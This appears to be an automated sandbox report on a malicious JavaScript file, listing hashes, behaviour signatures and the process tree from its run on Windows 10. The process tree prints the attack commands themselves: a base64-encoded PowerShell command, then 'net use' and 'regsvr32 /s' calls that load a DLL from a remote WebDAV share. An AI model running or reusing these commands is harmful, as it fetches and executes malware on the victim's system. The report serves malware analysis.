Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 15:25

General

  • Target

    4883ae3cc1b23da65c69da1ecc12f8ab3aba38169367c5b06557668e21a2b9a7.js

  • Size

    10KB

  • MD5

    8736f8bfd409f0d91b86f59951419fa6

  • SHA1

    8517599234e3c2144a01b46347939cbe6d8ba864

  • SHA256

    4883ae3cc1b23da65c69da1ecc12f8ab3aba38169367c5b06557668e21a2b9a7

  • SHA512

    6d4dcc1a499f5b4a9790b8dc144b97234b7f8077e3dff5add66e00af5aae92f674b88afc12d85033f978edeb8e9237995d22b8b12b4378ee5cf35554b714557f

  • SSDEEP

    192:WSVN85mlelaX60gDAc/9RDEOUIwa2OCLNCmScSuSooTmScSuSovez:a5Eel50gDp1RoOUgFx8ez

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\4883ae3cc1b23da65c69da1ecc12f8ab3aba38169367c5b06557668e21a2b9a7.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADYANwA5ADEAMQAwADQAMAA1ADIANAA1ADcANwAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1616
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2380
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\67911040524577.dll
          3⤵
            PID:3500

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_imcxb2rd.401.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/1616-0-0x00007FFC34263000-0x00007FFC34265000-memory.dmp

              Filesize

              8KB

            • memory/1616-6-0x000001BF24F70000-0x000001BF24F92000-memory.dmp

              Filesize

              136KB

            • memory/1616-11-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

              Filesize

              10.8MB

            • memory/1616-12-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

              Filesize

              10.8MB

            • memory/1616-15-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

              Filesize

              10.8MB